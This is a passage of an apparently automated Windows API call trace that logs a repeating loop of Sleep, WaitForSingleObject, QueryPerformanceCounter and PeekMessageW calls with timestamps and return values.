lpMsg=0x2df914) returned 0 [0150.891] Sleep (dwMilliseconds=0x64) [0150.904] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.904] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779271336) returned 1 [0150.904] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779271518) returned 1 [0150.905] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.906] Sleep (dwMilliseconds=0x64) [0150.920] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.921] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779326573) returned 1 [0150.921] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779326753) returned 1 [0150.921] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.922] Sleep (dwMilliseconds=0x64) [0150.936] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.936] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779378412) returned 1 [0150.936] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779378609) returned 1 [0150.936] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.937] Sleep (dwMilliseconds=0x64) [0150.951] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.951] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779431116) returned 1 [0150.951] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779431373) returned 1 [0150.952] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.952] Sleep (dwMilliseconds=0x64) [0150.967] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.967] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779484570) returned 1 [0150.967] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779484756) returned 1 [0150.967] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.968] Sleep (dwMilliseconds=0x64) [0150.982] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.982] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779537770) returned 1 [0150.982] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779537970) returned 1 [0150.983] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.984] Sleep (dwMilliseconds=0x64) [0150.998] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0150.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779591021) returned 1 [0150.998] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779591201) returned 1 [0150.999] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0150.999] Sleep (dwMilliseconds=0x64) [0151.014] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.014] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779645011) returned 1 [0151.014] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779645192) returned 1 [0151.014] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.015] Sleep (dwMilliseconds=0x64) [0151.030] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779700005) returned 1 [0151.030] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779700190) returned 1 [0151.030] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.031] Sleep (dwMilliseconds=0x64) [0151.045] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.045] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779751006) returned 1 [0151.045] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779751197) returned 1 [0151.045] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.046] Sleep (dwMilliseconds=0x64) [0151.060] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.060] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779804223) returned 1 [0151.060] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779804404) returned 1 [0151.061] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.061] Sleep (dwMilliseconds=0x64) [0151.076] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.076] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779858690) returned 1 [0151.076] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779858872) returned 1 [0151.077] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.077] Sleep (dwMilliseconds=0x64) [0151.091] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779911174) returned 1 [0151.092] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779911373) returned 1 [0151.092] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.093] Sleep (dwMilliseconds=0x64) [0151.107] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.107] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=779964323) returned 1 [0151.107] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=779964580) returned 1 [0151.108] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.108] Sleep (dwMilliseconds=0x64) [0151.126] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.126] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780028822) returned 1 [0151.126] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780029003) returned 1 [0151.127] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.127] Sleep (dwMilliseconds=0x64) [0151.139] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780072860) returned 1 [0151.139] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780073040) returned 1 [0151.140] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.140] Sleep (dwMilliseconds=0x64) [0151.154] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.154] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780124360) returned 1 [0151.154] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780124530) returned 1 [0151.155] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.155] Sleep (dwMilliseconds=0x64) [0151.169] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.169] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780177411) returned 1 [0151.170] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780177590) returned 1 [0151.170] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.171] Sleep (dwMilliseconds=0x64) [0151.185] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.185] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780230932) returned 1 [0151.185] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780231101) returned 1 [0151.186] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.186] Sleep (dwMilliseconds=0x64) [0151.201] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780284459) returned 1 [0151.201] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780284626) returned 1 [0151.201] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.202] Sleep (dwMilliseconds=0x64) [0151.216] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780337893) returned 1 [0151.216] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780338060) returned 1 [0151.217] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.218] Sleep (dwMilliseconds=0x64) [0151.234] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780398039) returned 1 [0151.234] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780398209) returned 1 [0151.235] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.235] Sleep (dwMilliseconds=0x64) [0151.248] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780446334) returned 1 [0151.248] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780446518) returned 1 [0151.249] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.249] Sleep (dwMilliseconds=0x64) [0151.263] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780497541) returned 1 [0151.263] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780497805) returned 1 [0151.264] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.264] Sleep (dwMilliseconds=0x64) [0151.279] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.279] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780551003) returned 1 [0151.279] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780551186) returned 1 [0151.279] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.280] Sleep (dwMilliseconds=0x64) [0151.294] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.294] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780604016) returned 1 [0151.294] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780604185) returned 1 [0151.295] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.295] Sleep (dwMilliseconds=0x64) [0151.311] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780662434) returned 1 [0151.311] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780662607) returned 1 [0151.312] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.312] Sleep (dwMilliseconds=0x64) [0151.325] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780710805) returned 1 [0151.326] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780710973) returned 1 [0151.326] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.327] Sleep (dwMilliseconds=0x64) [0151.341] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.341] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780764775) returned 1 [0151.341] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780764946) returned 1 [0151.342] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.342] Sleep (dwMilliseconds=0x64) [0151.357] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780820147) returned 1 [0151.358] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780820313) returned 1 [0151.358] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.359] Sleep (dwMilliseconds=0x64) [0151.372] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780870648) returned 1 [0151.372] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780870817) returned 1 [0151.373] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.373] Sleep (dwMilliseconds=0x64) [0151.388] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780923988) returned 1 [0151.388] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780924155) returned 1 [0151.388] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.389] Sleep (dwMilliseconds=0x64) [0151.404] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.404] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=780977683) returned 1 [0151.404] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=780977884) returned 1 [0151.404] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.405] Sleep (dwMilliseconds=0x64) [0151.419] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.419] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781030716) returned 1 [0151.419] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781030970) returned 1 [0151.420] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.420] Sleep (dwMilliseconds=0x64) [0151.436] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781087706) returned 1 [0151.436] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781087888) returned 1 [0151.436] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.437] Sleep (dwMilliseconds=0x64) [0151.450] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.450] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781137348) returned 1 [0151.450] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781137527) returned 1 [0151.451] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.451] Sleep (dwMilliseconds=0x64) [0151.466] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.467] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781192707) returned 1 [0151.467] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781192873) returned 1 [0151.467] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.468] Sleep (dwMilliseconds=0x64) [0151.499] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.499] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781303260) returned 1 [0151.499] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781303399) returned 1 [0151.499] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.500] Sleep (dwMilliseconds=0x64) [0151.513] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.513] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781350349) returned 1 [0151.513] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781350498) returned 1 [0151.513] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.514] Sleep (dwMilliseconds=0x64) [0151.531] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.531] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781411926) returned 1 [0151.531] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781412072) returned 1 [0151.531] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.532] Sleep (dwMilliseconds=0x64) [0151.544] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.544] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781456733) returned 1 [0151.544] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781456872) returned 1 [0151.544] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.545] Sleep (dwMilliseconds=0x64) [0151.561] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781515644) returned 1 [0151.561] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781515770) returned 1 [0151.561] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.562] Sleep (dwMilliseconds=0x64) [0151.576] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781565785) returned 1 [0151.576] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781565979) returned 1 [0151.576] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.577] Sleep (dwMilliseconds=0x64) [0151.602] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781657528) returned 1 [0151.603] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781657708) returned 1 [0151.603] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.604] Sleep (dwMilliseconds=0x64) [0151.606] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781670468) returned 1 [0151.606] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781670636) returned 1 [0151.607] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.607] Sleep (dwMilliseconds=0x64) [0151.622] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781723848) returned 1 [0151.622] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781724016) returned 1 [0151.622] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.623] Sleep (dwMilliseconds=0x64) [0151.637] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.638] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781777383) returned 1 [0151.638] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781777615) returned 1 [0151.638] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.639] Sleep (dwMilliseconds=0x64) [0151.653] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781830873) returned 1 [0151.653] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781831045) returned 1 [0151.654] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.654] Sleep (dwMilliseconds=0x64) [0151.669] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781883658) returned 1 [0151.669] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781883828) returned 1 [0151.669] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0151.670] Sleep (dwMilliseconds=0x64) [0151.685] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0151.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=781938992) returned 1 [0151.685] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=781939159) returned 1 [0151.685] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | 